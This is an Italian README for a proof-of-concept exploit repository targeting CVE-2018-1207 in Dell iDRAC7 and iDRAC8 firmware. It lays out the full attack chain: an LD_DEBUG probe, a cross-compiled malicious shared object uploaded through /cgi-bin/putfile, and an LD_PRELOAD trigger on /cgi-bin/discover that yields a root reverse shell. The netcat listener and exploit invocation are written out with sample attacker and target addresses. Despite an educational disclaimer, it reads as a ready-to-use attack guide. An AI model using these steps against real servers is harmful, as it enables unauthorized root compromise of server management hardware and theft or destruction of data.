
Reverse Shell CVE per iDRAC 7 e 8 con firmware 2.52.52.52 e versioni precedenti.
Questo repository contiene uno script Python Proof of Concept per dimostrare un exploit di esecuzione remota di codice presente nei dispositivi iDRAC7 e iDRAC8 con versioni del firmware 2.52.52.52 e precedenti. Questo exploit consente agli attaccanti di eseguire codice come utente root, il che può portare alla completa compromissione del sistema. Nel codice, mostriamo questo eseguendo un attacco reverse shell tramite l'exploit. Il codice in questo repository è una versione modificata dell'exploit originale di Michael Gargiullo (mgargiullo).
Disclaimer - Questo codice è fornito esclusivamente a scopo didattico. Non è consentito utilizzare questo script per attaccare dispositivi che non possiedi o per i quali non hai un esplicito consenso scritto. Usare questo script su sistemi senza la dovuta autorizzazione è illegale. Non sono responsabile per qualsiasi uso improprio o danno causato da questo strumento. L'uso non autorizzato può portare a gravi conseguenze legali, incluse multe e reclusione.
?LD_DEBUG=files. Se la risposta include contenuti di debug che mostrano quali file di libreria sta tentando di caricare, allora sappiamo che è vulnerabile.sh4-linux-gnu-gcc. Poiché l'iDRAC gira su un'architettura di processore SuperH (SH4), dobbiamo compilare il codice in un oggetto condiviso (.so) così che possa essere eseguito dall'iDRAC.POST a /cgi-bin/putfile, che salva il file in /tmp/sshpkauthupload.tmp.GET a /cgi-bin/discover con il parametro ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Questo forza l'iDRAC a caricare una libreria specificata prima di qualsiasi altra libreria, che poi carica il file .so modificato dalla directory /tmp/.constructor, il codice viene eseguito immediatamente al caricamento, risultando in una reverse shell come utente root (l'utente con i massimi privilegi su un sistema basato su Linux).Prima di eseguire lo script, assicurati di avere quanto segue:
pip install requests)sudo apt install gcc-sh4-linux-gnu)Senza questi requisiti, incontrerai problemi e l'exploit non sarà in grado di funzionare completamente! Non sono presenti controlli per garantire che tu abbia questi requisiti.
Avvia un listener sulla tua macchina per catturare la reverse shell, usa netcat per questo.
nc -lvnp <LPORT>
Sostituisci <LPORT> con la porta su cui vuoi ascoltare (ad es., 5000).
Esegui lo script con gli argomenti richiesti.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: L'indirizzo IP dell'iDRAC target.--rport: La porta dell'interfaccia web dell'iDRAC (di solito 443).--lhost: Il tuo indirizzo IP locale a cui la reverse shell deve connettersi.--lport: La tua porta locale su cui il listener Netcat è in ascolto.--keep-payload: (Opzionale) Se impostato, lo script non eliminerà payload.c e payload.so dalla tua macchina dopo l'esecuzione.Macchina dell'attaccante (IP: 192.168.1.100) - Avvia il listener.
nc -lvnp 5000
Macchina dell'attaccante - Esegui l'exploit mirando a un iDRAC su 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
Se l'operazione riesce, riceverai una sessione di shell nel terminale Netcat in cui potrai eseguire comandi come racadm.